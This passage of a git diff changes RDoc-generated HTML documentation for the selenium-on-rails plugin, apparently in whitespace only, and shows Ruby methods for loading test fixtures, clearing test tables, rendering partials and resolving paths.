-5:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">test_case_name</span> <span class="ruby-identifier">filename</span>
-6:     <span class="ruby-constant">File</span>.<span class="ruby-identifier">basename</span>(<span class="ruby-identifier">filename</span>).<span class="ruby-identifier">sub</span>(<span class="ruby-regexp re">/\..*/</span>,<span class="ruby-value str">''</span>).<span class="ruby-identifier">humanize</span>
+5:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">test_case_name</span> <span class="ruby-identifier">filename</span>
+6:     <span class="ruby-constant">File</span>.<span class="ruby-identifier">basename</span>(<span class="ruby-identifier">filename</span>).<span class="ruby-identifier">sub</span>(<span class="ruby-regexp re">/\..*/</span>,<span class="ruby-value str">''</span>).<span class="ruby-identifier">humanize</span>
 7:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
diff --git a/vendor/plugins/selenium-on-rails/doc/classes/SeleniumOnRails/FixtureLoader.html b/vendor/plugins/selenium-on-rails/doc/classes/SeleniumOnRails/FixtureLoader.html
index 221ef08c..c49a8bbc 100644
--- a/vendor/plugins/selenium-on-rails/doc/classes/SeleniumOnRails/FixtureLoader.html
+++ b/vendor/plugins/selenium-on-rails/doc/classes/SeleniumOnRails/FixtureLoader.html
@@ -126,21 +126,21 @@
           <div class="method-source-code" id="M000083-source">
 <pre>
     <span class="ruby-comment cmt"># File lib/selenium_on_rails/fixture_loader.rb, line 7</span>
- 7:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">available_fixtures</span>
- 8:     <span class="ruby-identifier">fixtures</span> = {}
- 9:     <span class="ruby-identifier">path</span> = <span class="ruby-identifier">fixtures_path</span> <span class="ruby-operator">+</span> <span class="ruby-value str">'/'</span>
-10:     <span class="ruby-identifier">files</span> = <span class="ruby-constant">Dir</span>[<span class="ruby-node">&quot;#{path}**/*.{yml,csv}&quot;</span>]
-11:     <span class="ruby-identifier">files</span>.<span class="ruby-identifier">each</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">file</span><span class="ruby-operator">|</span>
-12:       <span class="ruby-identifier">rel_path</span> = <span class="ruby-identifier">file</span>.<span class="ruby-identifier">sub</span>(<span class="ruby-identifier">path</span>, <span class="ruby-value str">''</span>)
-13:       <span class="ruby-keyword kw">next</span> <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">skip_file?</span> <span class="ruby-identifier">rel_path</span>
-14:       <span class="ruby-identifier">fixture_set</span> = <span class="ruby-constant">File</span>.<span class="ruby-identifier">dirname</span>(<span class="ruby-identifier">rel_path</span>)
-15:       <span class="ruby-identifier">fixture_set</span> = <span class="ruby-value str">''</span> <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">fixture_set</span> <span class="ruby-operator">==</span> <span class="ruby-value str">'.'</span>
-16:       <span class="ruby-identifier">fixture</span> = <span class="ruby-identifier">rel_path</span>.<span class="ruby-identifier">sub</span> <span class="ruby-regexp re">/\.[^.]*$/</span>, <span class="ruby-value str">''</span>
-17:       <span class="ruby-identifier">fixtures</span>[<span class="ruby-identifier">fixture_set</span>] <span class="ruby-operator">||=</span> []
-18:       <span class="ruby-identifier">fixtures</span>[<span class="ruby-identifier">fixture_set</span>] <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-identifier">fixture</span>
-19:     <span class="ruby-keyword kw">end</span>
-20:     
-21:     <span class="ruby-identifier">fixtures</span>
+ 7:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">available_fixtures</span>
+ 8:     <span class="ruby-identifier">fixtures</span> = {}
+ 9:     <span class="ruby-identifier">path</span> = <span class="ruby-identifier">fixtures_path</span> <span class="ruby-operator">+</span> <span class="ruby-value str">'/'</span>
+10:     <span class="ruby-identifier">files</span> = <span class="ruby-constant">Dir</span>[<span class="ruby-node">&quot;#{path}**/*.{yml,csv}&quot;</span>]
+11:     <span class="ruby-identifier">files</span>.<span class="ruby-identifier">each</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">file</span><span class="ruby-operator">|</span>
+12:       <span class="ruby-identifier">rel_path</span> = <span class="ruby-identifier">file</span>.<span class="ruby-identifier">sub</span>(<span class="ruby-identifier">path</span>, <span class="ruby-value str">''</span>)
+13:       <span class="ruby-keyword kw">next</span> <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">skip_file?</span> <span class="ruby-identifier">rel_path</span>
+14:       <span class="ruby-identifier">fixture_set</span> = <span class="ruby-constant">File</span>.<span class="ruby-identifier">dirname</span>(<span class="ruby-identifier">rel_path</span>)
+15:       <span class="ruby-identifier">fixture_set</span> = <span class="ruby-value str">''</span> <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">fixture_set</span> <span class="ruby-operator">==</span> <span class="ruby-value str">'.'</span>
+16:       <span class="ruby-identifier">fixture</span> = <span class="ruby-identifier">rel_path</span>.<span class="ruby-identifier">sub</span> <span class="ruby-regexp re">/\.[^.]*$/</span>, <span class="ruby-value str">''</span>
+17:       <span class="ruby-identifier">fixtures</span>[<span class="ruby-identifier">fixture_set</span>] <span class="ruby-operator">||=</span> []
+18:       <span class="ruby-identifier">fixtures</span>[<span class="ruby-identifier">fixture_set</span>] <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-identifier">fixture</span>
+19:     <span class="ruby-keyword kw">end</span>
+20:     
+21:     <span class="ruby-identifier">fixtures</span>
 22:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -162,13 +162,13 @@
           <div class="method-source-code" id="M000085-source">
 <pre>
     <span class="ruby-comment cmt"># File lib/selenium_on_rails/fixture_loader.rb, line 46</span>
-46:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">clear_tables</span> <span class="ruby-identifier">tables</span>
-47:     <span class="ruby-identifier">table_names</span> = <span class="ruby-identifier">tables</span>.<span class="ruby-identifier">split</span> <span class="ruby-regexp re">/\s*,\s*/</span>
-48:     <span class="ruby-identifier">connection</span> = <span class="ruby-constant">ActiveRecord</span><span class="ruby-operator">::</span><span class="ruby-constant">Base</span>.<span class="ruby-identifier">connection</span> 
-49:     <span class="ruby-identifier">table_names</span>.<span class="ruby-identifier">each</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">table</span><span class="ruby-operator">|</span>
-50:       <span class="ruby-identifier">connection</span>.<span class="ruby-identifier">execute</span> <span class="ruby-node">&quot;DELETE FROM #{table}&quot;</span> 
-51:     <span class="ruby-keyword kw">end</span>
-52:     <span class="ruby-identifier">table_names</span>
+46:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">clear_tables</span> <span class="ruby-identifier">tables</span>
+47:     <span class="ruby-identifier">table_names</span> = <span class="ruby-identifier">tables</span>.<span class="ruby-identifier">split</span> <span class="ruby-regexp re">/\s*,\s*/</span>
+48:     <span class="ruby-identifier">connection</span> = <span class="ruby-constant">ActiveRecord</span><span class="ruby-operator">::</span><span class="ruby-constant">Base</span>.<span class="ruby-identifier">connection</span> 
+49:     <span class="ruby-identifier">table_names</span>.<span class="ruby-identifier">each</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">table</span><span class="ruby-operator">|</span>
+50:       <span class="ruby-identifier">connection</span>.<span class="ruby-identifier">execute</span> <span class="ruby-node">&quot;DELETE FROM #{table}&quot;</span> 
+51:     <span class="ruby-keyword kw">end</span>
+52:     <span class="ruby-identifier">table_names</span>
 53:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -190,26 +190,26 @@
           <div class="method-source-code" id="M000084-source">
 <pre>
     <span class="ruby-comment cmt"># File lib/selenium_on_rails/fixture_loader.rb, line 24</span>
-24:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">load_fixtures</span> <span class="ruby-identifier">fixtures_param</span>
-25:     <span class="ruby-identifier">available</span> = <span class="ruby-keyword kw">nil</span>
-26:     <span class="ruby-identifier">fixtures</span> = <span class="ruby-identifier">fixtures_param</span>.<span class="ruby-identifier">split</span>(<span class="ruby-regexp re">/\s*,\s*/</span>).<span class="ruby-identifier">collect</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">f</span><span class="ruby-operator">|</span>
-27:       <span class="ruby-identifier">fixture_set</span> = <span class="ruby-constant">File</span>.<span class="ruby-identifier">dirname</span> <span class="ruby-identifier">f</span>
-28:       <span class="ruby-identifier">fixture_set</span> = <span class="ruby-value str">''</span> <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">fixture_set</span> <span class="ruby-operator">==</span> <span class="ruby-value str">'.'</span>
-29:       <span class="ruby-identifier">fixture</span> = <span class="ruby-constant">File</span>.<span class="ruby-identifier">basename</span> <span class="ruby-identifier">f</span>
-30:       <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">fixture</span> <span class="ruby-operator">==</span> <span class="ruby-value str">'all'</span>
-31:         <span class="ruby-identifier">available</span> <span class="ruby-operator">||=</span> <span class="ruby-identifier">available_fixtures</span>
-32:         <span class="ruby-identifier">available</span>[<span class="ruby-identifier">fixture_set</span>]
-33:       <span class="ruby-keyword kw">else</span>
-34:         <span class="ruby-identifier">f</span>
-35:       <span class="ruby-keyword kw">end</span>
-36:     <span class="ruby-keyword kw">end</span>
-37:     <span class="ruby-identifier">fixtures</span>.<span class="ruby-identifier">flatten!</span>
-38:     <span class="ruby-identifier">fixtures</span>.<span class="ruby-identifier">reject!</span> {<span class="ruby-operator">|</span><span class="ruby-identifier">f</span><span class="ruby-operator">|</span> <span class="ruby-identifier">f</span>.<span class="ruby-identifier">blank?</span> }
-39: 
-40:     <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">fixtures</span>.<span class="ruby-identifier">any?</span>
-41:       <span class="ruby-constant">Fixtures</span>.<span class="ruby-identifier">create_fixtures</span> <span class="ruby-identifier">fixtures_path</span>, <span class="ruby-identifier">fixtures</span>
-42:     <span class="ruby-keyword kw">end</span>
-43:     <span class="ruby-identifier">fixtures</span>
+24:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">load_fixtures</span> <span class="ruby-identifier">fixtures_param</span>
+25:     <span class="ruby-identifier">available</span> = <span class="ruby-keyword kw">nil</span>
+26:     <span class="ruby-identifier">fixtures</span> = <span class="ruby-identifier">fixtures_param</span>.<span class="ruby-identifier">split</span>(<span class="ruby-regexp re">/\s*,\s*/</span>).<span class="ruby-identifier">collect</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">f</span><span class="ruby-operator">|</span>
+27:       <span class="ruby-identifier">fixture_set</span> = <span class="ruby-constant">File</span>.<span class="ruby-identifier">dirname</span> <span class="ruby-identifier">f</span>
+28:       <span class="ruby-identifier">fixture_set</span> = <span class="ruby-value str">''</span> <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">fixture_set</span> <span class="ruby-operator">==</span> <span class="ruby-value str">'.'</span>
+29:       <span class="ruby-identifier">fixture</span> = <span class="ruby-constant">File</span>.<span class="ruby-identifier">basename</span> <span class="ruby-identifier">f</span>
+30:       <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">fixture</span> <span class="ruby-operator">==</span> <span class="ruby-value str">'all'</span>
+31:         <span class="ruby-identifier">available</span> <span class="ruby-operator">||=</span> <span class="ruby-identifier">available_fixtures</span>
+32:         <span class="ruby-identifier">available</span>[<span class="ruby-identifier">fixture_set</span>]
+33:       <span class="ruby-keyword kw">else</span>
+34:         <span class="ruby-identifier">f</span>
+35:       <span class="ruby-keyword kw">end</span>
+36:     <span class="ruby-keyword kw">end</span>
+37:     <span class="ruby-identifier">fixtures</span>.<span class="ruby-identifier">flatten!</span>
+38:     <span class="ruby-identifier">fixtures</span>.<span class="ruby-identifier">reject!</span> {<span class="ruby-operator">|</span><span class="ruby-identifier">f</span><span class="ruby-operator">|</span> <span class="ruby-identifier">f</span>.<span class="ruby-identifier">blank?</span> }
+39: 
+40:     <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">fixtures</span>.<span class="ruby-identifier">any?</span>
+41:       <span class="ruby-constant">Fixtures</span>.<span class="ruby-identifier">create_fixtures</span> <span class="ruby-identifier">fixtures_path</span>, <span class="ruby-identifier">fixtures</span>
+42:     <span class="ruby-keyword kw">end</span>
+43:     <span class="ruby-identifier">fixtures</span>
 44:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
diff --git a/vendor/plugins/selenium-on-rails/doc/classes/SeleniumOnRails/PartialsSupport.html b/vendor/plugins/selenium-on-rails/doc/classes/SeleniumOnRails/PartialsSupport.html
index 47e3d2cb..0d432d67 100644
--- a/vendor/plugins/selenium-on-rails/doc/classes/SeleniumOnRails/PartialsSupport.html
+++ b/vendor/plugins/selenium-on-rails/doc/classes/SeleniumOnRails/PartialsSupport.html
@@ -139,10 +139,10 @@ and the first row is ignored since it cannot contain a command.
           <div class="method-source-code" id="M000142-source">
 <pre>
     <span class="ruby-comment cmt"># File lib/selenium_on_rails/partials_support.rb, line 19</span>
-19:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">extract_commands_from_partial</span> <span class="ruby-identifier">partial</span>
-20:     <span class="ruby-identifier">partial</span> = <span class="ruby-identifier">partial</span>.<span class="ruby-identifier">match</span>(<span class="ruby-regexp re">/.*&lt;table&gt;.*?&lt;tr&gt;.*?&lt;\/tr&gt;(.*?)&lt;\/table&gt;/i</span><span class="ruby-identifier">m</span>)[<span class="ruby-value">1</span>]
-21:     <span class="ruby-identifier">raise</span> <span class="ruby-node">&quot;Partial '#{name}' doesn't contain any table&quot;</span> <span class="ruby-keyword kw">unless</span> <span class="ruby-identifier">partial</span>
-22:     <span class="ruby-identifier">partial</span>
+19:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">extract_commands_from_partial</span> <span class="ruby-identifier">partial</span>
+20:     <span class="ruby-identifier">partial</span> = <span class="ruby-identifier">partial</span>.<span class="ruby-identifier">match</span>(<span class="ruby-regexp re">/.*&lt;table&gt;.*?&lt;tr&gt;.*?&lt;\/tr&gt;(.*?)&lt;\/table&gt;/i</span><span class="ruby-identifier">m</span>)[<span class="ruby-value">1</span>]
+21:     <span class="ruby-identifier">raise</span> <span class="ruby-node">&quot;Partial '#{name}' doesn't contain any table&quot;</span> <span class="ruby-keyword kw">unless</span> <span class="ruby-identifier">partial</span>
+22:     <span class="ruby-identifier">partial</span>
 23:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -168,12 +168,12 @@ table rows.
           <div class="method-source-code" id="M000141-source">
 <pre>
     <span class="ruby-comment cmt"># File lib/selenium_on_rails/partials_support.rb, line 9</span>
- 9:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">render_partial</span> <span class="ruby-identifier">partial_path</span> = <span class="ruby-identifier">default_template_name</span>, <span class="ruby-identifier">object</span> = <span class="ruby-keyword kw">nil</span>, <span class="ruby-identifier">local_assigns</span> = <span class="ruby-keyword kw">nil</span>, <span class="ruby-identifier">status</span> = <span class="ruby-keyword kw">nil</span>
-10:     <span class="ruby-identifier">pattern</span> = <span class="ruby-identifier">partial_pattern</span> <span class="ruby-identifier">partial_path</span>
-11:     <span class="ruby-identifier">filename</span> = <span class="ruby-constant">Dir</span>[<span class="ruby-identifier">pattern</span>].<span class="ruby-identifier">first</span>
-12:     <span class="ruby-identifier">raise</span> <span class="ruby-node">&quot;Partial '#{partial_path}' cannot be found! (Looking for file: '#{pattern}')&quot;</span> <span class="ruby-keyword kw">unless</span> <span class="ruby-identifier">filename</span>
-13:     <span class="ruby-identifier">partial</span> = <span class="ruby-identifier">render</span> <span class="ruby-identifier">:file</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-identifier">filename</span>, <span class="ruby-identifier">:use_full_path</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-keyword kw">false</span>, <span class="ruby-identifier">:locals</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-identifier">local_assigns</span>
-14:     <span class="ruby-identifier">extract_commands_from_partial</span> <span class="ruby-identifier">partial</span>
+ 9:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">render_partial</span> <span class="ruby-identifier">partial_path</span> = <span class="ruby-identifier">default_template_name</span>, <span class="ruby-identifier">object</span> = <span class="ruby-keyword kw">nil</span>, <span class="ruby-identifier">local_assigns</span> = <span class="ruby-keyword kw">nil</span>, <span class="ruby-identifier">status</span> = <span class="ruby-keyword kw">nil</span>
+10:     <span class="ruby-identifier">pattern</span> = <span class="ruby-identifier">partial_pattern</span> <span class="ruby-identifier">partial_path</span>
+11:     <span class="ruby-identifier">filename</span> = <span class="ruby-constant">Dir</span>[<span class="ruby-identifier">pattern</span>].<span class="ruby-identifier">first</span>
+12:     <span class="ruby-identifier">raise</span> <span class="ruby-node">&quot;Partial '#{partial_path}' cannot be found! (Looking for file: '#{pattern}')&quot;</span> <span class="ruby-keyword kw">unless</span> <span class="ruby-identifier">filename</span>
+13:     <span class="ruby-identifier">partial</span> = <span class="ruby-identifier">render</span> <span class="ruby-identifier">:file</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-identifier">filename</span>, <span class="ruby-identifier">:use_full_path</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-keyword kw">false</span>, <span class="ruby-identifier">:locals</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-identifier">local_assigns</span>
+14:     <span class="ruby-identifier">extract_commands_from_partial</span> <span class="ruby-identifier">partial</span>
 15:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
diff --git a/vendor/plugins/selenium-on-rails/doc/classes/SeleniumOnRails/Paths.html b/vendor/plugins/selenium-on-rails/doc/classes/SeleniumOnRails/Paths.html
index 0b15794a..4ee3c542 100644
--- a/vendor/plugins/selenium-on-rails/doc/classes/SeleniumOnRails/Paths.html
+++ b/vendor/plugins/selenium-on-rails/doc/classes/SeleniumOnRails/Paths.html
@@ -123,8 +123,8 @@
           <div class="method-source-code" id="M000076-source">
 <pre>
     <span class="ruby-comment cmt"># File lib/selenium_on_rails/paths.rb, line 25</span>
-25:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">fixtures_path</span>
-26:       <span class="ruby-constant">File</span>.<span class="ruby-identifier">expand_path</span> <span class="ruby-constant">File</span>.<span class="ruby-identifier">join</span>(<span class="ruby-constant">RAILS_ROOT</span>, <span class="ruby-value str">'test/fixtures'</span>)
+25:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">fixtures_path</span>
+26:       <span class="ruby-constant">File</span>.<span class="ruby-identifier">expand_path</span> <span class="ruby-constant">File</span>.<span class="ruby-identifier">join</span>(<span class="ruby-constant">RAILS_ROOT</span>, <span class="ruby-value str">'test/fixtures'</span>)
 27:     <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -151,10 +151,10 @@ paths to layout templates.
           <div class="method-source-code" id="M000075-source">
 <pre>
     <span class="ruby-comment cmt"># File lib/selenium_on_rails/paths.rb, line 19</span>
-19:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">layout_path</span>
-20:       <span class="ruby-identifier">rails_root</span> = <span class="ruby-constant">Pathname</span>.<span class="ruby-identifier">new</span> <span class="ruby-constant">File</span>.<span class="ruby-identifier">expand_path</span>(<span class="ruby-constant">File</span>.<span class="ruby-identifier">join</span>(<span class="ruby-constant">RAILS_ROOT</span>, <span class="ruby-value str">'app/views'</span>))
-21:       <span class="ruby-identifier">view_path</span> = <span class="ruby-constant">Pathname</span>.<span class="ruby-identifier">new</span> <span class="ruby-identifier">view_path</span>(<span class="ruby-value str">'layout'</span>)
-22:       <span class="ruby-identifier">view_path</span>.<span class="ruby-identifier">relative_path_from</span>(<span class="ruby-identifier">rails_root</span>).<span class="ruby-identifier">to_s</span>
+19:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">layout_path</span>
+20:       <span class="ruby-identifier">rails_root</span> = <span class="ruby-constant">Pathname</span>.<span class="ruby-identifier">new</span> <span class="ruby-constant">File</span>.<span class="ruby-identifier">expand_path</span>(<span class="ruby-constant">File</span>.<span class="ruby-identifier">join</span>(<span class="ruby-constant">RAILS_ROOT</span>, <span class="ruby-value str">'app/views'</span>))
+21:       <span class="ruby-identifier">view_path</span> = <span class="ruby-constant">Pathname</span>.<span class="ruby-identifier">new</span> <span class="ruby-identifier">view_path</span>(<span class="ruby-value str">'layout'</span>)
+22:       <span class="ruby-identifier">view_path</span>.<span class="ruby-identifier">relative_path_from</span>(<span class="ruby-identifier">rails_root</span>).<span class="ruby-identifier">to_s</span>
 23:     <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -176,8 +176,8 @@ paths to layout templates.
           <div class="method-source-code" id="M000077-source">
 <pre>
     <span class="ruby-comment cmt"># File lib/selenium_on_rails/paths.rb, line 29</span>
-29:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">log_path</span> <span class="ruby-identifier">log_file</span>
-30:       <span class="ruby-constant">File</span>.<span class="ruby-identifier">expand_path</span>(<span class="ruby-constant">File</span>.<span class="ruby-identifier">dirname</span>(<span class="ruby-keyword kw">__FILE__</span>) <span class="ruby-operator">+</span> <span class="ruby-value str">'/../../log/'</span> <span class="ruby-operator">+</span> <span class="ruby-constant">File</span>.<span class="ruby-identifier">basename</span>(<span class="ruby-identifier">log_file</span>))
+29:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">log_path</span> <span class="ruby-identifier">log_file</span>
+30:       <span class="ruby-constant">File</span>.<span class="ruby-identifier">expand_path</span>(<span class="ruby-constant">File</span>.<span class="ruby-identifier">dirname</span>(<span class="ruby-keyword kw">__FILE__</span>) <span class="ruby-operator">+</span> <span class="ruby-value str">'/../../log/'</span> <span class="ruby-operator">+</span> <span class="ruby-constant">File</span>.<span class="ruby-identifier">basename</span>(<span class="ruby-identifier">log_file</span>))
 31:     <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -199,9 +199,9 @@ paths to layout templates.
           <div class="method-source-code" id="M000072-source">
 <pre>
    <span class="ruby-comment cmt"># File lib/selenium_on_rails/paths.rb, line 3</span>
-3:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">selenium_path</span>
-4:       <span class="ruby-ivar">@@selenium_path</span> <span class="ruby-operator">||=</span> <span class="ruby-identifier">find_selenium_path</span>
-5:       <span class="ruby-ivar">@@selenium_path</span>
+3:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">selenium_path</span>
+4:       <span class="ruby-ivar">@@selenium_path</span> <span class="ruby-operator">||=</span> <span class="ruby-identifier">find_selenium_path</span>
+5:       <span class="ruby-ivar">@@selenium_path</span>
 6:     <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -223,8 +223,8 @@ paths to layout templates.
           <div class="method-source-code" id="M000073-source">
 <pre>
     <span class="ruby-comment cmt"># File lib/selenium_on_rails/paths.rb, line 8</span>
- 8:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">selenium_tests_path</span>
- 9:       <span class="ruby-constant">File</span>.<span class="ruby-identifier">expand_path</span>(<span class="ruby-constant">File</span>.<span class="ruby-identifier">join</span>(<span class="ruby-constant">RAILS_ROOT</span>, <span class="ruby-value str">'test/selenium'</span>))
+ 8:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">selenium_tests_path</span>
+ 9:       <span class="ruby-constant">File</span>.<span class="ruby-identifier">expand_path</span>(<span class="ruby-constant">File</span>.<span class="ruby-identifier">join</span>(<span class="ruby-constant">RAILS_ROOT</span>, <span class="ruby-value str">'test/selenium'</span>))
 10:     <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -246,11 +246,11 @@ paths to layout templates.
           <div class="method-source-code" id="M000078-source">
 <pre>
     <span class="ruby-comment cmt"># File lib/selenium_on_rails/paths.rb, line 33</span>
-33:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">skip_file?</span> <span class="ruby-identifier">file</span>
-34:       <span class="ruby-identifier">file</span>.<span class="ruby-identifier">split</span>(<span class="ruby-value str">'/'</span>).<span class="ruby-identifier">each</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">f</span><span class="ruby-operator">|</span>
-35:         <span class="ruby-keyword kw">return</span> <span class="ruby-keyword kw">true</span> <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">f</span>.<span class="ruby-identifier">upcase</span> <span class="ruby-operator">==</span> <span class="ruby-value str">'CVS'</span> <span class="ruby-keyword kw">or</span> <span class="ruby-identifier">f</span>.<span class="ruby-identifier">starts_with?</span>(<span class="ruby-value str">'.'</span>) <span class="ruby-keyword kw">or</span> <span class="ruby-identifier">f</span>.<span class="ruby-identifier">ends_with?</span>(<span class="ruby-value str">'~'</span>) <span class="ruby-keyword kw">or</span> <span class="ruby-identifier">f</span>.<span class="ruby-identifier">starts_with?</span>(<span class="ruby-value str">'_'</span>)
-36:       <span class="ruby-keyword kw">end</span>
-37:       <span class="ruby-keyword kw">false</span>
+33:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">skip_file?</span> <span class="ruby-identifier">file</span>
+34:       <span class="ruby-identifier">file</span>.<span class="ruby-identifier">split</span>(<span class="ruby-value str">'/'</span>).<span class="ruby-identifier">each</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">f</span><span class="ruby-operator">|</span>
+35:         <span class="ruby-keyword kw">return</span> <span class="ruby-keyword kw">true</span> <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">f</span>.<span class="ruby-identifier">upcase</span> <span class="ruby-operator">==</span> <span class="ruby-value str">'CVS'</span> <span class="ruby-keyword kw">or</span> <span class="ruby-identifier">f</span>.<span class="ruby-identifier">starts_with?</span>(<span class="ruby-value str">'.'</span>) <span class="ruby-keyword kw">or</span> <span class="ruby-identifier">f</span>.<span class="ruby-identifier">ends_with?</span>(<span class="ruby-value str">'~'</span>) <span class="ruby-keyword kw">or</span> <span class="ruby-identifier">f</span>.<span class="ruby-identifier">starts_with?</span>(<span class="ruby-value str">'_'</span>)
+36:       <span class="ruby-keyword kw">end</span>
+37:       <span class="ruby-keyword kw">false</span>
 38:     <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -272,8 +272,8 @@ paths to layout templates.
           <div class="method-source-code" id="M000074-source">
 <pre>
     <span class="ruby-comment cmt"># File lib/selenium_on_rails/paths.rb, line 12</span>
-12:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">view_path</span> <span class="ruby-identifier">view</span>
-13:       <span class="ruby-constant">File</span>.<span class="ruby-identifier">expand_path</span>(<span class="ruby-constant">File</span>.<span class="ruby-identifier">dirname</span>(<span class="ruby-keyword kw">__FILE__</span>) <span class="ruby-operator">+</span> <span class="ruby-value str">'/../views/'</span> <span class="ruby-operator">+</span> <span class="ruby-identifier">view</span>)
+12:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">view_path</span> <span class="ruby-identifier">view</span>
+13:       <span class="ruby-constant">File</span>.<span class="ruby-identifier">expand_path</span>(<span class="ruby-constant">File</span>.<span class="ruby-identifier">dirname</span>(<span class="ruby-keyword kw">__FILE__</span>) <span class="ruby-operator">+</span> <span class="ruby-value str">'/../views/'</span> <span class="ruby-operator">+</span> <span class="ruby-identifier">view</span>)
 14:     <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
diff --git a/vendor/plugins/selenium-on-rails/doc/classes/SeleniumOnRails/Renderer.html b/vendor/plugins/selenium-on-rails/doc/classes/SeleniumOnRails/Renderer.html
index 0f79b2e0..ca8e1612 100644
--- a/vendor/plugins/selenium-on-rails/doc/classes/SeleniumOnRails/Renderer.html
+++ b/vendor/plugins/selenium-on-rails/doc/classes/SeleniumOnRails/Renderer.html
@@ -125,16 +125,16 @@
           <div class="method-source-code" id="M000071-source">
 <pre>
     <span class="ruby-comment cmt"># File lib/selenium_on_rails/renderer.rb, line 5</span>
- 5:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">render_test_case</span> <span class="ruby-identifier">filename</span>
- 6:     <span class="ruby-ivar">@template</span>.<span class="ruby-identifier">extend</span> <span class="ruby-constant">SeleniumOnRails</span><span class="ruby-operator">::</span><span class="ruby-constant">PartialsSupport</span>
- 7:     <span class="ruby-ivar">@page_title</span> = <span class="ruby-identifier">test_case_name</span> <span class="ruby-identifier">filename</span>
- 8:     <span class="ruby-identifier">output</span> = <span class="ruby-identifier">render_to_string</span> <span class="ruby-identifier">:file</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-identifier">filename</span>
- 9:     <span class="ruby-identifier">layout</span> = (<span class="ruby-identifier">output</span> <span class="ruby-operator">=~</span> <span class="ruby-regexp re">/&lt;html&gt;/i</span> <span class="ruby-operator">?</span> <span class="ruby-keyword kw">false</span> <span class="ruby-operator">:</span> <span class="ruby-identifier">layout_path</span>)
-10:     <span class="ruby-identifier">render</span> <span class="ruby-identifier">:text</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-identifier">output</span>, <span class="ruby-identifier">:layout</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-identifier">layout</span>
-11: 
-12:     <span class="ruby-identifier">headers</span>[<span class="ruby-value str">'Cache-control'</span>] = <span class="ruby-value str">'no-cache'</span>
-13:     <span class="ruby-identifier">headers</span>[<span class="ruby-value str">'Pragma'</span>] = <span class="ruby-value str">'no-cache'</span>
-14:     <span class="ruby-identifier">headers</span>[<span class="ruby-value str">'Expires'</span>] = <span class="ruby-value str">'-1'</span>
+ 5:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">render_test_case</span> <span class="ruby-identifier">filename</span>
+ 6:     <span class="ruby-ivar">@template</span>.<span class="ruby-identifier">extend</span> <span class="ruby-constant">SeleniumOnRails</span><span class="ruby-operator">::</span><span class="ruby-constant">PartialsSupport</span>
